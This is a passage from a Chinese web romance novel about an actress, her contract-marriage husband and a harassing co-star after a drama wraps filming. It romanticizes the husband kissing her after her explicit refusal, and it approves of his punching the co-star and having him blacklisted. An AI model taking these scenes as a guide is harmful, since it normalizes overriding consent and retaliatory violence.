这场戏正是莫岚摔下崖,阴差阳错被皇室护卫救回去以后,在郊外马场遇到回归家族的李离悲,只可惜故人见面不相识。
“Action!”温柒凡对着对讲机一声令下,在场的所有人都动起来。
李离悲抚摸着心爱的白马,捧起一捆新鲜马草,递到它嘴边:“马儿马儿告诉我,莫岚他跳崖以后,还能活下来吗?”
或许是她的语气过于低落,白马长嘶一声,突然尥起蹄子,猛然从马厩里跳出来,向一个方向疯狂冲去。
“站住!别跑了!”李离悲揪着缰绳,翻身上马,努力控制发狂的爱马,不明白向来脾气很好的它为何会突然发疯。
白马疾驰,惊起一片尘埃。
漫天黄沙里,前方出现一群护卫,持着刀剑谨慎看向一人一马:“列阵!保护太子!”
李离悲顿时急出一身冷汗,冲撞太子可是杀头的大罪!
“吁——”白马长鸣,堪堪停在护卫们组成的人墙外。
李离悲冷汗尚未落下,漫天黄沙率先落地,太子身着黄袍尊贵华丽,目光沉静看她,似乎并未被她吓到。
隔着无数人,她一眼就对上那双熟悉的眸。
“莫岚……”李离悲翻身下马,脱口而出。
太子皱眉,挥袖挡住伸着脖子想要舔嗅他的白马,声音温润而疑惑:“吾乃当朝太子萧岚,姑娘是不是认错人了?”
“姑娘切记管好马匹,切勿随意冲撞他人,以免酿成祸事。”
“禀太子殿下,太傅大人已经在偏院等候多时!”一位侍卫急匆匆通报。
“吾随后就到。”萧岚没有看她,在护卫的簇拥下转身离开。
日头正盛,李离悲牵着马匹,目送他们迎着天光离开,背影消失在院子尽头。
随后,她摸了摸白马脖颈上厚实鬃毛,苦笑一声:“好消息,你爹还活着,坏消息,你爹不认你咯。”
白马扬蹄,愤怒地打了个响鼻。
“咔!大家辛苦了!”
温导高兴挥手,几名工作人员立刻上前,将杀青花束递给两位主演。
“终于杀青啦!”崔蕊挥舞着剧本冲过来,一把抱住沈欢,“我再也不当跟组编剧了!”
兰雪衡冲她伸出双臂,笑容邪气:“你不抱抱我这个男主角?”
崔蕊红着脸,走过去轻轻抱了一下他,随后捂着脸羞涩逃跑。
兰雪衡在背后大笑起来。
沈欢捧着杀青花束,笑吟吟看向他们,刚准备打趣几句,却看见温柒凡朝她身后努嘴示意,露出一脸促狭。
于是她疑惑转身,看见了熟悉的人。
“杀青快乐。”陈璧迎着她的目光,将一份礼物递到她面前。
沈欢垂眸看去,礼盒里安放着一条粉钻手链,在阳光下闪烁熠熠辉光。
“上次去拍卖会,觉得它很适合你,就买下了,喜不喜欢?”陈璧拉住她的手,仔细戴上这条手链,粉钻衬得她皓腕凝雪,一时令他挪不开眼。
“还行吧。”沈欢任他摆弄,一侧头却对上崔蕊打趣的目光。
崔蕊像个小陀螺,刚跑走两步,听说陈璧来了有热闹看,又麻溜旋转回来,及时插话:“别听她嘴硬,其实心里可喜欢了。”
“对不对,欢欢?”她一阵挤眉弄眼。
“对你个头!我看你是欠收拾了。”沈欢臊红了脸,趁机从陈璧那儿抽回手,扑过去假装打她。
崔蕊赶忙抱头逃窜,哎哟哎哟叫喊起来。
陈璧和兰雪衡两个男人站在旁边,左顾右盼,一时不知道该帮谁,只好对视一眼,哑然失笑摇摇头。
下午要举行杀青宴,一行人收拾好东西,浩浩荡荡前往定好的酒店。
陈璧作为最大投资人,温柒凡自然想把主位让给他,自己坐在下首。
没想到陈璧直接摆手拒绝,跟在沈欢身后落座。
沈欢嫌弃瞅他:“黏着我干嘛?”
“你是我老婆,我当然要跟着你。”陈璧小声道。
“在外面少说话,没人把你当哑巴。”沈欢声音也低下来,一副
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做贼心虚的模样。
陈璧顺竿子往上爬,厚脸皮问:“那回家可以叫吗?”
“不许。”沈欢面带微笑看向他。
他立刻咳嗽一声,坐直身子,不再得寸进尺。
温柒凡向来不喜欢繁文缛节,简单说了几句吉祥话,便宣布开席。
沈欢照常喝着果汁,陈璧拿起一杯红酒,向她碰杯致意。
杯身相撞,发出清脆声响,两人相视一笑。
宴席散场,有活跃分子提出转场去唱K,沈欢作为主演推辞不过,索性跟着一同前往。
陈璧自然没有反对意见,仿佛点了自动跟随,一直缀在她身后当个小尾巴。
KTV包厢里,五彩斑斓的灯光旋转跳跃,几个麦霸在抢夺话筒,崔蕊正兴高采烈地组织摇骰子游戏。
陈璧倚靠沙发,在一片吵闹中阖目养神。
沈欢狐疑:“你喝醉了?”
“没有。”陈璧轻笑,睁开眼。
“欢欢!”崔蕊在包厢那头喊道,“叫上陈总一起来玩真心话大冒险吧!人多点热闹。”
“怎么玩?”沈欢问。
“掷骰子,摇到对应点数的接受惩罚,”崔蕊跑过来拉她,“来玩嘛来玩嘛。”
沈欢央不过她,索性拉着陈璧加入游戏。
一群人围坐在一起,看着面前的筛蛊。
“第一轮规定,摇到点数为三的接受惩罚。”崔蕊拍板决定。
“从谁开始?”沈欢扫视一圈,支着下巴问。
兰雪衡率先伸手:“我先来吧。”
他摇晃一阵,揭开筛蛊,五点那面正好朝上,崔蕊看了一眼,暗自收敛失望表情。
兰雪衡瞥她,似笑非笑。
筛蛊传了一圈,第一轮在男三号白晓桦手上摇出了三点。
场子还没热起来,众人起哄尺度也不大,只让他唱一首喜欢的歌,这对于歌手出身的他来说不是难事。
很快,一首经典情歌便唱完了,掌声齐刷刷响起,非常捧场。
沈欢戳戳身旁的陈璧:“你听听什么叫做天籁之音,学着点。”
陈璧挑眉,不明所以:“我唱歌不好听吗?”
她悄悄做了个鬼脸,不敢说话,在心底吐槽这位跑调而不自知的傻子。
第二轮,中奖数字是五点。
沈欢在接到筛蛊的时候,便有一种不详的预感,莫名强烈。
她摇晃完,深吸一口气,揭开筛蛊,骰子赫然显示五点。
“哦——恭喜我们的女主角!”众人纷纷拍手起哄。
“说吧,沈欢,真心话还是大冒险?”崔蕊抱臂,得意洋洋。
“选大冒险的话,我们就玩点大的!”有人摩拳擦掌。
“你不会玩不起大冒险吧?”女二汪佩佩突然出声,幽幽看向她。
“大冒险!大冒险!”有人兴奋起来,站起身挥舞双臂,开始喊叫。
“既然你们这么希望我选大冒险……”沈欢不恼,笑眯眯拖长尾音。
她的目光落在汪佩佩脸上,轻飘飘的,却吓得她后背一凉。
“那我就选真心话咯!”沈欢放下筛蛊,俏皮眨眼。
13. 醺醺
“嘁——”
最开始起哄的人发出失望的声音,悻悻然坐回原位。
汪佩佩摸了摸鼻尖,心虚低头,斑斓灯光在她脸上切割出晦暗不明。
“都是自愿选择,你们瞎起哄也没用啊。”崔蕊瞥了汪佩佩一眼,出来打圆场。
“你们随便问吧。”沈欢摆手,无所谓道。
真心话而已,没什么好怕的。
众人顿时七嘴八舌:“你在娱乐圈里最讨厌哪个男明星?”
“你最喜欢自己演的哪部剧?”
“你一共谈过几段恋爱?”
“停停停——”
沈欢被他们吵得耳朵疼,忍不住摇头追加规定:“只许问一个问题啊,别吵,想好再问,错过这村就没有这店了。”
大家安静一瞬,苦思冥想该问什么。
倏然,男二号左锦抬头看她,率先发问:“……你之前传出来的绯闻对象们都是真的吗?”
重音故意落在“们”字上,他的目光带着尽力掩饰的恶意,紧锁在沈欢脸上,似乎在观察她的细微表情。
“确定问这个问题了?”沈欢似笑非笑睨他,再扫视一圈。
八卦人士闻到些许火药味,纷纷保持沉默不敢掺和,只有眼睛里闪着好奇的光。
他们都是圈内人,知道部分人作风混乱,脚踩几只船都是常事。
而沈欢作为当红小花,人气热度正高,她的绯闻也经常出现在热搜头条,虽不乏蹭热度引导嗑CP的小男星,但如果里面有真的,那可有趣极了。
更何况,某位近期刚和沈欢一同上过热搜的“绯闻对象”恰好在场。
一想到这里,一些人将视线悄悄转到陈璧身上,暗中揣度打量他们私下的关系。
陈璧接收到众人探究目光,依旧面不改色。
“不好意思,耳听为虚,都是媒体捕风捉影而已。”沈欢手指轻轻敲打桌面,唤回众人逸散的思绪。
她嘴角含笑,姿态闲适:“据我所知,大家都被狗仔骚扰过,对不对?”
“就是,那群狗仔像狗皮膏药一样,怎么甩都甩不掉,不会还有人信他们乱编的绯闻吧?”崔蕊皱眉问。
男三白晓桦此刻插嘴抱怨:“之前网上还有人造谣我被富婆包养,可是那个富婆真的是我的亲姐!绯闻还闹上热搜,害得我被我姐笑话死了。”
沈欢打量白晓桦,忍不住笑出声,他年龄小,长相秀气,难免会传出类似的绯闻。
大家七嘴八舌聊起狗仔编的假新闻,注意力终于从沈欢身上转移开来。
“你们先玩,我出去透透气。”沈欢趁机起身,离开包厢。
卫生间设在走廊尽头,她站在洗漱台前,用凉水洗净双手,一抬头,便从镜子里对上一双满含探究的眼。
沈欢不想搭理他,抽了一张纸擦干水,就欲转身离去。
“等等。”左锦叫住她,走近一步站在她面前。
“你什么时候勾搭上陈总的?”他上下打量她,一张嘴忍不住嘲讽,“怪不得剧组说换导演就换,说休假就休一周,傍到靠山了就是过得舒服些。”
沈欢蹙眉:“左锦,嘴巴放干净些,我和谁在一起跟你有关系吗?”
“是,和我没关系。”
左锦咬牙,他的手撑在洗手台边,一双细长眼恶狠狠瞪她:“你不就是看不上我吗?当初我们一起拍戏,我承认向你表白确实冲动,但我是真心想和你在一起的,结果你却避嫌到连卖CP的机会都不给我!”
“这部剧剧宣的时候,你会拿出对我那样的冷漠态度来对待兰雪衡吗?”
沈欢一时无语凝噎,她从不主动炒作CP,在他口中却被形容成“区别对待”。
……本来拍戏上班就烦。
“其实你不是喜欢我,你只是觉得,当初因为我不配合,所以你蹭不到流量热度,现在只能在男配角里打转,你将这个罪责扣在我头上了?”
沈欢双手抱臂,作出防御姿态悄悄向后退,继续说。
“这怪不了任何人,要怪就怪你太急功近利,更何况我从不与人炒作CP,奉劝你一句,与其绞尽脑汁走歪门邪道,不如好好沉淀提高演技。”
“你在笑话我演技差?”左锦面容扭曲一瞬,捏紧拳头大步朝她逼近。
沈欢心头一凛,不知这个疯子想干出什么事情,匆匆加快脚步往外跑。
慌乱间,她撞进一个温暖的怀抱,淡淡的草木香笼罩下来,令她心头顿时安定。
“你刚才想干什么?”陈璧搂着沈欢的腰,将她稳稳护在身后,抬眸质问左锦,凌厉眼神恨不得杀死他。
“这你得问沈小姐了。”左锦耸耸肩,收敛疯癫神情,一副正人君子的模样。
“……他想打我。”沈欢躲在靠山身后,小声告状。
远处包厢有人探头,悄悄观察情况。
左锦看到这一幕,故意大声说:“沈欢,你刚刚勾引我,说想和我在一起的时候,可不是这样的,怎么变脸比翻书还快?”
陈璧面色阴沉,轻轻将沈欢推到一边。
沈欢怔神,心头一惊,他不会信了这人鬼话吧?
她抿唇,刚想纡尊降贵替自己辩解几句,下一刻,陈璧活动活动手腕,冷笑一声,狠狠一拳砸在左锦那张不甚英俊的脸上。
“唔。”左锦闷哼,后仰着摔倒在地,脑袋磕在白净墙上。
他的嘴里有血腥味弥漫开来,忍不住发出阵阵干呕。
陈璧走近,居高临下俯视他:“要是你的嘴只会用来造谣的话,那我不介意让你彻底变成哑巴。”
“你以为我会相信,沈欢能看上你这种人渣?”
左锦挣扎着从地上爬起来,目光恨恨:“沈欢不过是看上你手中的权势金钱而已,倘若有天你风光不再,她一定是第一个离开你的人。”
“不会有那天。”陈璧忍住想再揍他一拳的冲动,轻声说。
左锦瞪视面前的男人。
陈璧只是微微一笑:“我是说,我不会给她离开我的机会。”
“而她,永远不可能选择你。”
说罢,陈璧轻轻握住沈欢的手腕,带她回到包厢,左锦并未跟上来,他像一只斗败了的公鸡,鼻青脸肿地离开这块伤心地
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包厢里热闹依旧,众人都摆出无事发生的模样笑闹。
陈璧坐下,刚喝了一罐啤酒,就被兰雪衡拉去打扑克牌。
沈欢则凑到温柒凡和崔蕊的面前,听她们聊天,有一搭没一搭地吃着果盘。
“左锦走了?”温柒凡推了推圆框眼镜问。
沈欢点点头。
这次拍戏过程中,若非必要,她一直规避与左锦的交流,在对手戏时他也表现得还算正常,却没想到他暗藏的执念如此之深,直到杀青这天突然爆发,真是措手不及。
“你从哪儿惹到的疯子,我从他问的真心话就感觉出不对劲了,像是故意闹事的。”崔蕊忍不住吐槽。
沈欢苦笑:“是因为我们之前合作拍一部现代爱情剧,他入戏太深,半夜三更跑到我酒店房间敲门,非要给我表白,你们说吓不吓人?”
“这是因戏生情?”崔蕊咂咂嘴感叹,“那照理说,他应该在这部剧里继续爱上女二啊,我明明给男二和女二写了爱情线,怎么还缠着你不放?”
汪佩佩听见这话凑过来,一双狐狸眼滴溜溜转,叹气:“唉,还是因为我没沈姐长得漂亮有魅力,锦哥才看不上我。”
“那这福气给你,你要不要?”沈欢睨她一眼,似笑非笑。
汪佩佩不敢吱声,讪讪挪回去。
即使少了一个人,杀青聚会依旧顺利结束。
从KTV出来,天色已经鸦黑,冬日寒风瑟瑟,路边树木落叶随风飘零,沈欢摸摸胳膊,打了个寒颤。
陈璧皱眉,将西装外套脱下来,披在沈欢肩头。
沈欢没有拒绝,凉风一吹,淡酒味,混杂着原本的草木气息,凛冽而风情,丝丝缕缕钻进她的大脑,一时醺醺然。
助理开车过来送他们回家,前后排的隔音屏缓缓升起。
沈欢坐在后座,正想和他聊聊关于左锦的事,却感觉肩膀轻轻一沉。
她偏过头,侧脸蹭到毛茸茸的发茬,忍不住垂下眼眸,在窗外路灯明明灭灭中,用视线描绘他的面容。
凤眼轻阖,将平日冷情尽数收敛,鼻梁高挺,恰到好处缀上一颗小痣,薄唇轻轻抿着,让她忍不住想上手去摸。
“你在干什么?”一道低沉声音响起,让沈欢蓦然回魂。
她才发现,心里想的事,她此刻正在干。
……她的手指恰好直愣愣戳在他的嘴唇上,热热的软软的,一时进退两难。
“我、我听说薄唇的男人薄情寡义,想研究一下你是不是薄唇。”沈欢讷讷,企图不动声色抽回手。
手腕猛然被攥住,根本撤不走,她被迫仰头,对上一双深邃黑眸,男人的唇微微张合,热气扑在她的指尖,带来一阵战栗。
下一刻,热烫触觉传来,她眼睁睁看着陈璧将自己的指尖轻轻含住,舔舐。
一瞬间,沈欢的呼吸都停滞了几秒,脑袋里一团浆糊,飘飘然不知自己身在何处。
“摸得出来吗?要不要亲亲看,好好研究一下。”
陈璧的视线一错不错看她,幽深不见底,仿佛吸引她堕入黑洞,彻底被情丝缠绕。
14. 做梦
看见沈欢的激烈反应,男人胸腔震动,发出低低的笑。
指尖湿润触感慢慢消失,沈欢这才拼尽全力撤手,找回自己的呼吸频率,艰难喘息,像一条跳回湖水的锦鲤,努力翕张鱼鳃。
他抽出纸,再次握住她柔软白皙的手,认真擦干残留的水迹。
“你的脸红了。”陈璧声音淡淡,仿佛只是在陈述客观事实。
沈欢瞪他。
“一定是天气太热了。”陈璧莞尔,好心替她找理由。
沈欢瞅了一眼窗外,气鼓鼓不想理他,真是睁眼说瞎话,现在明明是冬天。
“你装睡,还占我便宜,”沈欢气急败坏,小声控诉,“协议上可没有这一条。”
陈璧轻挑眼尾看着她,一脸无辜:“是你先撩拨我的。”
沈欢立刻尴尬咳嗽,并不想承认确实是她主动伸手,跟中邪了似的。
真是美色惑人啊。
真不禁逗。陈璧看她一副面红耳赤,恨不得钻地缝里藏起来的模样,心想。
回到家,沈欢换上睡衣,将两件脏衣服扔进篮子里,准备顺手放入洗衣机。
她路过陈璧卧室,突然大发慈悲,想问问他有没有需要洗的衣服,可以一同洗掉。
于是,她不假思索地推开他的卧室门,喊道:“陈璧——”
话音突然中断,沈欢看见了令她气血上涌的画面,瞬间呆若木鸡。
她反应过来,迅速地捂着眼睛转身:“我我我、我什么也没看见!”
刚脱掉上衣,解开皮带准备洗澡的陈璧:“……”
他行动迅速穿上睡衣,柔软布料遮住劲瘦的腰身:“没事,你现在转过来吧,我把衣服穿整齐了。”
“怎么了?出什么事了吗?”他问。
沈欢站在客卧门口转回身,尴尬得想以头抢地。
她支支吾吾道:“我就想问问,明天我要回一趟沈家,你有时间陪我一起去吗?”
“当然有。”陈璧生怕吓到她,轻言细语答应。
见丈母娘这种大事,就算实在没时间也要挤出时间。
“好的,那我不打扰你了。”沈欢抱着篮子,急匆匆低头准备逃跑。
“等等,”陈璧叫住她,“篮子放这儿,衣服我来洗,你累了一天,赶快去休息吧。”
“……哦。”沈欢头脑晕乎乎的,此刻已然基本停止运转了。
她像个提线木偶一般,把篮子放下,然后转身,僵硬身子踢着正步离开。
直到回到卧室,刚才惊鸿一瞥见到的人鱼线和腹肌还深深印在她的脑海中,挥之不去。
平常白日里见到他,都是西装革履,衣着整齐,不看那张俊脸,跟外面的金融精英没什么两样,没想到脱衣那么有肉。
宽肩窄腰,肌肉并不夸张突兀,是她最喜欢的薄肌,却充满涌动的力量感。
她坐在床边默默捂住脸,心想,臭男人,身材怎么比大学的时候更好了,简直是一只花枝招展的成熟雄孔雀。
可她却无法控制地被他吸引,清醒地沦陷。
她一头栽倒在床上,手脚并用狠狠扑腾一阵,企图发泄压抑不住的情感。
她不明白,她怎么会栽在一个男人身上两次?怎么会有人天然长在她的审美点上,不言不语也是在蛊惑她。
她的思绪放空,突然想起高中的时候,他坐在自己前方,课间闲暇,她会悄悄观察他。
从她的视角看去,少年身姿挺拔,如雨后雾蒙青竹,一身整洁校服洗得发白,戴着一副金丝边眼镜,低头写作业时,后颈划出明冽线条。
许多人戴上眼镜会显得双目无神,但陈璧不会,金丝边眼镜恰到好处为他增添神采,遮挡冷漠,透出少见的温柔。
她背地里向崔蕊吐槽:“切,天天戴个金丝边眼镜,在假装斯文败类吗?”
可她却清楚,自己控制不住被这样的他吸引,开始悄悄向他示好。
崔蕊曾对此发表锐评:“斯文败类死装文青男遇上花痴毒舌美少女,你们两个真是天生一对。”
有的时候,只要一想起青春年少时干的冲动事,她就会忍不住笑出声。
沈欢从回忆中挣脱出来,尴尬感也终于散去大半。
她打开某红书小号,编辑了一条帖子发布。
【沈太阳阳阳:今天在线表演真人版倒霉熊>_
陈璧洗完澡出来,又将两人的衣服拿去清洗晾晒,随后坐回书房,把白日里的工作再做一个细致收尾。
忙完这一切后,他才拿出手机,正好看见沈欢一小时前发布的新帖子。
他慢悠悠发送私信:“小太阳,人的运气不会每天都衰^_^。”
沈欢躺在床上翻来覆去睡不着,床头柜上放着的手机屏幕骤然亮起。
她从温暖的被窝里伸出手,将手机捞过来,定睛一看,赫然是“静影”的消息。
她盯着末尾的笑脸看,不知为何品出一丝老干部气息,仿佛是在尽力模仿她的习惯,却学得四不像。
【沈太阳阳阳:借你吉言。】
【静影:可以问问你遇到什么倒霉事情吗?】
明知故问!
沈欢咬牙瞪着屏幕,仿佛这样可以隔着网线,瞪到距离不远的陈璧身上。
她不好意思说自己看见了男人的半裸身体,只好含糊地描述被疯子骚扰的事情,并趁机解释一番缘由。
恰好弥补了她车上没有说出口的话。
【静影:很遗憾我不在场,无法替你赶走疯子。】
【静影:小太阳,下次再遇到这种疯子,不要遵守文明守则,请直接打断他的狗腿,让他只能在地上乱爬,永远无法接近你骚扰你。】
陈璧知晓来龙去脉以后,第一反应是觉得今晚那一拳揍轻了。
该死的左锦,居然还敢抢先一步向沈欢表白,狗东西哪来的胆子肖想不属于他的人。
万一真的成功了,他现在不就没有老婆了吗?
一念至此,他不禁妒火中烧,切屏到微信,给助理发消息:“《不成悲》播出完毕以后,封杀左锦。”
助理虽然不明所以,但回复迅速:“好的,陈总。”
再次回到某红书,他又收到一条最新消息。
【沈太阳阳阳:没事,我老公已
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经帮我赶走疯子了^_^】
盯着这条消息看了半晌,陈璧心底升腾起微妙情绪,虽然他很清楚沈欢提到的“老公”就是自己,但怎么有种“我吃我自己的醋”的错觉?
他晃了晃脑袋,心想一定是最近觉睡少了,才会胡思乱想。
他起身离开书房,路过主卧的时候敲了敲门扉:“早点睡觉,少熬夜,明天还要早起。”
“……知道了。”沈欢骤然被抓包,慌张放下手机,掖好被角,将脸埋在大熊玩偶怀抱里,捏了捏熊柔软的肚子。
……不知道陈璧的腹肌捏起来是什么手感。
她脑海中突然跳出无厘头的想法,反应过来时唰然红了面颊。
色胚。你就是馋他身子。
她在心底默默唾弃自己,协议上可没有履行夫妻义务这一条。
睡吧,睡吧,梦里什么都有。
半夜,卧室里安静漆黑,沈欢倏然睁开眼,瞪得像铜铃,呆呆盯着天花板若隐若现的吊灯。
……她刚才真的做梦了。
她只记得自己似乎回到高二,炎热的夏天中午,只有他们一个班上体育课,热身完毕,老师一声令下,放大家自由活动。
大多数人都欢呼着逃课,回到教室偷偷用功刷题,操场上人烟稀少。
她叫住准备离开的陈璧,语气恶狠狠:“跟我来!”
或许是因为在梦里,陈璧表现异常乖顺,缀在她身后当小尾巴,太阳高悬空中,将他们的影子拉得很长。
两人走进小树林,沈欢摆出大姐大的姿态,双手叉腰,仰头望着高她一个头的男生:“听说三班有人欺负你?你当不当我的小弟?我以后罩着你,保准让三班那群人不敢再来惹你。”
“需要交保护费吗?”少年垂头看她,阳光在树叶缝隙间洒下,恰好落在他的肩头,模糊了他面上的冷漠神情。
沈欢莫名紧张,咽了咽口水,后背抵在树干上为自己增加勇气。
梦境画面逐渐泛起一片朦胧,她急促呼吸,听见自己一开口便是虎狼之词:“腹肌让我摸一下,就当你交过保护费了。”
陈璧突然走近一步,左手撑着粗壮树干,右手捏住校服短袖下摆,欲扬未扬。
夏风渐起,灌进他们单薄的衣衫,树林簌簌作响,仿佛在哀哀呜咽。
沈欢眼睁睁看着他的脸在自己面前放大,星眸里藏着冰凉的笑意。
少年嘴角轻轻勾起恰到好处的弧度,嗓音低沉戏谑:“沈欢,你就这么喜欢我?”
这是最后映在她眼中的画面。
下一秒,如同火炉上灼热的空气,她面前的一切都开始扭曲变形,世界顿时天旋地转,梦境寸寸碎裂。
沈欢仿佛从高空跌落,重重喘息,费劲睁开眼,一时分不清现实与虚幻。
少年说话间散发的热气仿佛还残留在她耳畔,她只能无助地捂住耳朵,双腿胡乱踹在柔软的被子上,发泄她压抑的躁动。
她怎么会做这种羞耻的梦?
她、她高中的时候明明是一个很矜持的小女孩,就算鼓起勇气追求喜欢的人,也没有这么嚣张地说下流的话。
15. 围裙
但是转念一想,谁能如同柳下惠一般面对美色坐怀不乱?
都怪陈璧白日里故意撩拨她,才会害她晚上做噩梦。
一想到这里,沈欢的负罪感尽消,气哼哼地拿起手机给陈璧发微信:“都怪你!”
发完消息,一看时间,才凌晨四点。
沈欢觑了眼窗外黑沉夜色,默默想:你见过凌晨四点的S市吗?反正她见过了。
她叹气,再次郁卒倒回枕头,突然想到下周就要去B市复查了。
一想到这件事,她就忍不住烦躁,在心底认真保佑,一定会是好的结果。
翌日清晨,天光大亮,沈欢打着哈欠走出卧室,眼下挂着淡淡乌青。
陈璧端着早餐从厨房出来,认真摆盘,一抬头便看见傻站在客厅的沈欢。
“发什么呆?”他出声打断她的神游,“昨晚没睡好吗?为什么半夜发消息骂我?”
沈欢慢悠悠思索一圈,才想起昨晚冲动下发出的微信。
她瘪嘴,有些委屈:“……做噩梦了。”
陈璧挑眉:“梦里我是坏人吗?”
沈欢看着他认真点头,心想,其实她才是那个“坏人”。
“现实和梦境是相反的,”陈璧走过来,自然而然将她牵到桌边,拉开椅凳,“别胡思乱想,快来吃饭,今天不是还要回沈家吗?”
沈欢扫了一眼桌面,全是自己爱吃的食物,心情顿时好了不少。
她顺势坐下,拿起筷子戳开碗里的溏心蛋,蛋液咕噜噜冒出来裹住面条,一口下去香浓劲道。
她眯着眼满意夸赞:“陈大厨,手艺不错嘛。”
“别光顾着吃,帮我解一下围裙,手上沾油了。”陈璧转过身背对她,催促。
沈欢匆匆咽下面条,看向男人线条流畅的肩背。
他穿着白衬衫,轻薄布料隐没于皮带之下,腰身被红色围裙绳带勒出好看的弧度,正中间系着标准的蝴蝶结,像一件完美礼物,拥有精致包装。
她忍不住屏息凝神,伸手揪住绳结一端,轻轻一扯,礼物包装便四散开来,垂落于黑色西装裤上晃荡不经。
感受到身后桎梏解开,陈璧扭头,一抹绯红撞入他眼帘。
他慢条斯理取下围裙,扔在置物柜上,故意问她:“脸红什么?”
沈欢嗫嚅:“被面条烫到了。”
陈璧盯着她,从她泛起薄红的脸扫到殷红润泽的唇上,目光轻缓,却带着满满侵略性。
“看我干嘛?”沈欢强撑着凶巴巴语气,眸光躲闪飘忽不定。
她像一只热爱自由的野猫,对好奇路人竖起爪牙一顿恐吓,试图令对方望而却步,放弃抚摸她的念头。
可陈璧并不会被吓退,反而更近一步,强势入侵她的地盘,俯身将她困在臂弯与椅背的空隙里,无处可逃。
他的额头轻轻贴上她,触感微凉,转瞬间便灼热起来。
沈欢惊慌失措,恍惚间以为昨晚的梦境成真,她似乎回到了高二体育课的那棵树下,被面前的少年困住,承受对方戏谑的嘲笑,像搁浅的鱼,无法逃离。
她也从未想过逃离。
成年后的陈璧的脸与年少时差别不大,只是褪去青涩,多了几分棱角与成熟。
“我可以亲你吗?”陈璧轻声问。
沈欢能清晰感受到他的薄唇在慢慢游移,温热气息从她的鼻梁一路向下探去,眼看着就要找寻到真正的目标猎物。
她张张嘴,想说什么,嗓子却仿佛生锈一般艰涩难言。
“可以吗?”
陈璧锲而不舍追问,气息悬于上方若即若离,仿佛下一秒就会吮住这枚唾手可及的鲜艳樱桃。
餐厅的气温逐渐攀升,气氛变得灼烧起来。
沈欢晕头转向,心底最后一层防线已然摇摇欲坠。
最后一刻,她拼尽全力,吐出一个冰冷的词:“不可以。”
话音刚落,陈璧的呼吸瞬间急促起来,眸中翻涌起血红,仿若褪去绅士皮囊的野狼。
两人鼻尖缓缓错开,他不再伪装,目光锁定她,一字一顿替她做出决定:“可、以。”
倏然间,暴风雨席卷而来,沈欢的所有呼吸权利都被夺走,恍惚间以为自己要溺毙在这场瓢泼大雨中。
陈璧熟门熟路叩开牙关,随即开始寸寸检阅,四处流连,连柔软的舌也不放过,强行拖回洞穴里细细品味。
她的手不知何时攀上男人宽阔的肩,将这当作唯一的浮木,死死揪住他的白衬衫,制造出大片褶皱。
一如她彻底紊乱的心跳。
“笨蛋,记得换气。”陈璧低低地笑,话语淹没在唇齿之间。
当风暴渐止时,沈欢已经不知道今夕是何年,她努力喘息,贪婪嗅闻着新鲜空气,因为缺氧而沁出生理性眼泪。
陈璧抬手,用指腹轻轻抹过她泛红的眼尾,沾走晶莹泪花。
他垂眸,视线落在她略微红肿的唇上,喉结忍不住滑动。
沈欢慢慢回神,抿唇扭头不想看他,试图以这种方式藏起狼狈与失态。
沉默半晌,陈璧低声道:“对不起,欢欢。”
“但是乖宝,以后不要再违背本心地拒绝我,明明你也想要,对不对。”
问句从他嘴里说出来,居然变成了陈述句。
沈欢暗恼,却一时无从反驳,只得愤愤然哼了一声,指责他:“早餐冷了,我吃什么?陈璧你准备故意饿死我吗?”
陈璧知道她在岔开话题,没有揭穿,顺从道:“别急,我去加热一下。”
他将早餐放进微波炉重新叮了一下,又变得热腾腾香喷喷端上桌。
沈欢这才勉强满意。
吃完一顿曲折的早饭,沈欢回房间换上浅色毛衣,在大衣和羽绒服之间纠结一阵,看了眼窗外寒风中摇曳的大树,老老实实地套上银色羽绒服。
还是要温度不要风度吧。
总感觉缺了些什么,她想了想,戴上陈璧早前送的粉钻手链,低头端详一阵。
她只是不想让父母担心自己婚姻幸不幸福,绝不是想秀什么虚假的恩爱。
目前来看,她和陈璧只能算“相敬如宾”。
……如果没有今早的小插曲,他们的相处模式就更贴合这个词了。
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走出卧室,陈璧也已收拾妥当,他重新换了一件白衬衫,衣摆整齐扎进西装裤里。
沈欢看见白衬衫就会想起今早被她攥皱的那件,继而联想到那场持久连绵的亲吻。
“赶紧穿上外套。”她挪开目光,急急催促。
陈璧依言套上深蓝色西装,配以恰当袖扣点缀,显得成熟稳重又不过分严肃。
他拿起领带迅速系上,轻扬下颌:“走吧。”
两个人磨磨蹭蹭一早上,终于踏出家门,坐电梯时,陈璧瞥见她细瘦的腕上戴着粉钻手链,衬得肌肤白皙细腻,面上忍不住显露淡淡笑意。
他在心底默默盘算着S市下一场拍卖会是在什么时候举行,若是间隔太久,他也可以抽出时间,下周去一趟B市的古董拍卖会,听说能淘到不少好东西。
他想将最好的东西都献给他的沈欢,因为她值得。
两人驱车前往沈家,曾经霍沈两家还是邻居,可惜沈家曾遭逢变故,卖掉了黄金地段的别墅,换到了郊区。
后来沈家公司在霍家的帮助下起死回生,可那套别墅早已有了新的主人,再也拿不回来了。
一想到这一点,沈欢鼻子就有些酸酸的,原来那套别墅承载着她的童年回忆,也承载着一小部分她和陈璧的爱情碎片。
但是失去就是失去,很难再找回来,听说新的主人将别墅翻修了一遍,那些往昔记忆也随着被拆掉的旧装饰烟消云散了。
她不想向陈璧提起这些心酸事,到了郊区别墅,沉默地跳下车。
“还在生气吗?”陈璧将礼物拿下车,绕过来问她。
沈欢抿唇,摇摇头。
“要见爸妈了,你不笑一下,我会被咱爸打断腿的。”他开玩笑。
效果很好,沈欢忍不住露出淡笑,睨他一眼:“你怎么自来熟?爸妈叫得这么顺口。”
“我脸皮厚不行吗?”陈璧无所谓地耸耸肩,“我们已经结婚了,从法律上来讲,你爸妈就是我爸妈。”
这话说着确实没错,沈欢不再与他辩论,埋头往前走。
“等等。”陈璧在身后叫她。
沈欢扭头,看见他将礼物换到左手拎着,朝她伸出另一只手:“我想牵着你走,可以吗?”
“……哦。”她愣怔一瞬,还是顺从抬手握住。
反正又不是第一次伪装恩爱了,一回生二回熟。
男人的手掌温暖宽大,可以轻而易举地包裹住她。
两人从一前一后变为并肩行走,热量自双手交握处不断传递过来,沈欢感觉自己身体都变得暖洋洋,任由寒风吹拂也不觉得冷。
就这样安静地牵手走到别墅门口,她用空着的手按响门铃,门内传来吴妈热情的回应:“哎来了。”
“沈小姐回来啦!”吴妈拉开别墅大门,看清来人时,高兴得脸上笑开花,连忙接过陈璧提着的礼物,将两人迎进门。
沈欢妈妈梅泽兰正在厨房里和面,忙得热火朝天。
听见外面动静,她连手都没来得及擦就跑出来,假装生气:“你还知道回来?我还以为结了婚就忘了娘呢!”
16. 维护
